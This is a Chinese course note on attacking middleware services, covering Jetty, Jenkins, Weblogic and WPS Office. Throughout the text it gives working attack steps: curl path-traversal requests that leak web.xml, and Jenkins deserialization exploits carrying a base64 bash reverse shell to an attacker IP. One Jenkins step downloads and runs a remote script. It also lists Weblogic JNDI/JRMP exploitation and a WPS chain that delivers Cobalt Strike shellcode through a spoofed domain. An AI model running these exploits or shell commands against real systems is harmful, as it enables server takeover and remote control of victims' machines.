服务攻防2-中间件安全与实战复现:Jetty / Jenkins / Weblogic / WPS
学习自B站小迪安全课程
前置知识(开始之前需要先弄懂的概念)
- 服务攻防:面对一台服务器时,它上面通常运行着数据库、中间件、开发框架、应用协议等各类服务。服务攻防就是先判断目标跑了什么服务,再去找对应的已知弱点并利用,最终拿到服务器权限。
- 中间件:介于操作系统和业务程序之间的一层软件,负责接收用户请求、转发给后端处理。常见中间件有 IIS、Nginx、Apache、Tomcat、Jetty、Jenkins、Weblogic。
- CVE(Common Vulnerabilities and Exposures):全球通用的公开漏洞编号,相当于每个漏洞的"身份证"。看到
CVE-年份-编号,就能去查它的原理和现成利用方式。 - RCE(Remote Code Execution,远程代码执行):攻击者可以在目标机器上执行任意命令,相当于拿到了服务器的"遥控器",是危害最高的一类漏洞。
- 反序列化:程序把"保存下来的数据"还原成内存里的对象。如果这段数据被攻击者控制,还原过程中就可能执行恶意代码——大量 Java 中间件漏洞都源于此。
- JNDI / JRMP:JNDI 是 Java 的命名与目录接口,JRMP 是 Java 远程方法调用协议。在 Weblogic 漏洞里,攻击者常借助它们让服务器去加载自己控制的恶意类。
- Servlet 容器:运行 Java Web 程序(Servlet/JSP)的基础环境,Jetty、Tomcat 都属此类。
- CI(持续集成)工具:自动化编译、测试、发布的工具,Jenkins 是典型代表。
- Cobalt Strike(CS)/ 反向 Shell:CS 是红队常用的控制框架;反向 Shell 指目标机器主动连回攻击者机器,让攻击者获得一个可交互的命令行。
- 端口与默认端口:服务通常监听固定端口,扫描这些端口能快速判断服务类型。例如 Jenkins 默认 8080,Weblogic 默认 7001。
工具与命令清单(需要准备的东西)
- 目标环境:Jetty、Jenkins(默认端口 8080)、Weblogic(默认端口 7001)、WPS Office。
- WeblogicTool — Weblogic 综合利用工具:
https://github.com/KimJun1010/WeblogicTool - Jenkins CVE-2017-1000353 利用环境 — Vulhub 靶场:
http://github.com/vulhub/CVE-2017-1000353 - Jenkins CVE-2018-1000861 / CVE-2019-1003000 利用脚本 —
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc - nc — 监听反向 Shell 端口,例如
nc -lvvp 5566 - python3 -m http.server — 在攻击机快速起一个 HTTP 服务,用于投递脚本或网页
- python exploit.py / python2 exp.py — 运行 Jenkins 相关利用脚本
- java -jar — 发送 Java 反序列化 payload(如
CVE-2017-1000353-1.1-SNAPSHOT-all.jar) - curl — 构造并发送 HTTP 请求,验证信息泄漏
- bash 反向 Shell 命令 —
bash -i >& /dev/tcp/<攻击机IP>/<端口> 0>&1
一、服务攻防的整体框架
服务攻防可以拆成三个互相配合的维度去理解:
- 服务判断:通过端口扫描、组合判断、信息来源、强弱特征,确认目标到底运行了什么服务。
- 对象类别:常见的有数据库(Redis、CouchDB、H2 等)、中间件(IIS、Nginx、Apache、Tomcat、Jetty、Jenkins、Weblogic 等)、开发框架、应用协议。
- 利用方法:复用已知 CVE、弱口令爆破、未授权访问,以及针对具体应用的组合利用。
这套思路决定了我们拿到一个目标后"先看什么、再用什么打"。本节课的演示案例集中在四类中间件/应用上:Jetty 信息泄漏、Jenkins RCE、Weblogic 反序列化 RCE、WPS HW2023 RCE 与 CS 上线。下面按顺序逐一展开。
二、Jetty 信息泄漏(CVE & 配置暴露)
理解
Jetty 是一个开源的 Servlet 容器,为基于 Java 的 Web 容器提供运行环境。它的问题不在于直接执行代码,而在于部分版本对请求路径的解析存在"理解偏差"——攻击者可以用各种编码、空字节、路径遍历的方式绕过访问控制,最终把服务器上本不该对外暴露的 WEB-INF/web.xml 读取出来。
web.xml 是 Java Web 应用的配置文件,里面记录着 Servlet 映射、过滤器、初始化参数等敏感信息。一旦泄漏,等于把应用的"内部结构图"交给了攻击者,是后续深入利用的重要情报来源。
实操
确认目标运行 Jetty 后,用 curl 依次请求下列路径,观察是否返回 web.xml 内容:
curl http://<目标IP>:<端口>/%2e/WEB-INF/web.xml
curl http://<目标IP>:<端口>/..%00/WEB-INF/web.xml
curl http://<目标IP>:<端口>/%u002e/WEB-INF/web.xml
curl http://<目标IP>:<端口>/static?/WEB-INF/web.xml
curl http://<目标IP>:<端口>/a/b/..%00/WEB-INF/web.xml
这些路径分别利用了 %2e(点号的 URL 编码)、%00(空字节截断)、%u002e(Unicode 形式的点)、以及 static? 这类特殊的路径拼接方式来绕过限制。
预期结果:若服务端解析异常,页面会直接回显 web.xml 全文,暴露内部配置。
三、Jenkins 远程代码执行(CVE & RCE)
理解
Jenkins 是基于 Java 的持续集成(CI)工具,默认监听 8080 端口。它历史上有多个反序列化、未授权访问类漏洞,核心危害是攻击者能把任意系统命令塞进目标执行,从而拿到 Shell。
本节课复现三个典型 CVE:
- CVE-2017-1000353:Java 反序列化漏洞,在 JDK 1.8.0_291 等版本上稳定生效,其他版本可能失效。
- CVE-2018-1000861 / CVE-2019-1003000:借助未授权或低权限接口,让服务器下载并执行攻击者指定的脚本。
- CVE-2019-1003000:需要目标存在用户账号密码才能触发,属于"拿到一定权限后进一步提权"的利用。
实操
1)CVE-2017-1000353
先在攻击机监听一个端口,等待目标回连:
nc -lvvp 5566
随后用 java -jar 发送构造好的序列化 payload,并让目标执行反向 Shell:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88YXR0YWNrZXJJUD4vNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
python exploit.py http://<目标IP>:54217 jenkins_poc.ser
其中那段 base64 解码后就是 bash -i >& /dev/tcp/<攻击机IP>/5566 0>&1,即让 Jenkins 主动连回攻击机的 5566 端口。实战中要把 IP 和端口换成自己的监听地址。
预期结果:nc 监听端收到 Jenkins 服务器的反向 Shell。
2)CVE-2018-1000861
攻击机起一个 HTTP 服务,并准备一个要被目标执行的 shell.txt:
nc -lvvp 5566
python3 -m http.server 8888
再让 Jenkins 把脚本下载到 /tmp/1.sh 并执行:
python2 exp.py http://<目标IP>:52281/ "curl -o /tmp/1.sh http://<攻击机IP>:8888/shell.txt"
python2 exp.py http://<目标IP>:52281/ "bash /tmp/1.sh"
预期结果:Jenkins 服务器下载并执行 shell.txt 中的命令,攻击机获得反向 Shell。
3)CVE-2019-1003000
该利用链需要用户账号密码,属于拿到一定权限后的进一步利用,复现时需先具备可用的 Jenkins 登录凭据。
四、Weblogic 反序列化 RCE
理解
Weblogic 是 Oracle 推出的 J2EE 应用服务器,默认端口 7001。它大量使用 Java 反序列化机制,历史上因此爆出数量众多的 RCE 漏洞。这些漏洞通常通过 JNDI 注入 或 JRMP 协议 触发的反序列化链,让服务器加载攻击者控制的恶意类,最终执行任意命令。
本节课梳理的 CVE 列表(按出现方式归类):
- CVE-2023-21839:JNDI 注入利用链
- CVE-2020-2551:JRMP 协议触发
- CVE-2020-2555 / CVE-2020-2883:反序列化 RCE
- CVE-2020-14882:未授权访问
- CVE-2018-2894:反序列化 RCE
- CVE-2018-2628 / CVE-2018-2893 / CVE-2018-3245 / CVE-2018-3252:多为 JRMP 反序列化链
- CVE-2018-3191 / CVE-2016-3510 / CVE-2016-0638 / CVE-2017-10271 / CVE-2017-3248 / CVE-2015-4852:Weblogic 历史经典反序列化漏洞
实操
实战中一般不需要逐个手搓 payload,而是直接使用综合工具 WeblogicTool(https://github.com/KimJun1010/WeblogicTool)。根据目标 Weblogic 版本选择对应 CVE,配置好 JNDI 或 JRMP 服务的地址后执行利用即可。
预期结果:依据目标版本与所选 CVE,成功触发 JNDI 注入或 JRMP 反序列化,获取目标服务器权限。
五、WPS HW2023 代码执行与 CS 上线
理解
WPS Office 在 HW2023 期间被曝光一个代码执行漏洞,编号 QVD-2023-17241。受影响的版本为:
- WPS Office 2023 个人版 < 11.1.0.15120
- WPS Office 2019 企业版 < 11.8.2.12085
WPS 在处理文档/网页时,会因为特定的域名规则校验被绕过,从而加载攻击者的恶意内容。要成功触发,必须满足如下域名规则:
clientweb.docer.wps.cn.{xxxxx}wps.cn
也就是说,攻击者需要准备一个形如 {xxxxx}wps.cn 的域名,并在其中配置上述子域名的解析,让 WPS 在打开文档时去访问攻击者控制的网页,进而执行 Shellcode 并连回 CS。
实操
第 1 步:准备恶意文件。 准备 1.html 与 poc.docx。1.html 中嵌入由 Cobalt Strike 生成的 C# Shellcode;poc.docx 中写入指向恶意网页的连接 URL。
第 2 步:配置域名与解析。 申请 {xxxxx}wps.cn 域名,并添加解析:
clientweb.docer.wps.cn.{xxxxx}wps.cn → 攻击机 IP
第 3 步:在攻击机部署网页服务。 把 1.html 放到攻击机,并起服务:
python3 -m http.server 80
第 4 步:绑定域名(实战中也可用目标机的 hosts 文件)。 让 clientweb.docer.wps.cn.{xxxxx}wps.cn 指向攻击机 IP。
第 5 步:用 WPS 打开 poc.docx 触发。 WPS 加载 1.html,执行其中的 Shellcode,反向连接 CS。
预期结果:WPS 进程加载并执行 Shellcode,Cobalt Strike 成功上线目标主机。

浙公网安备 33010602011771号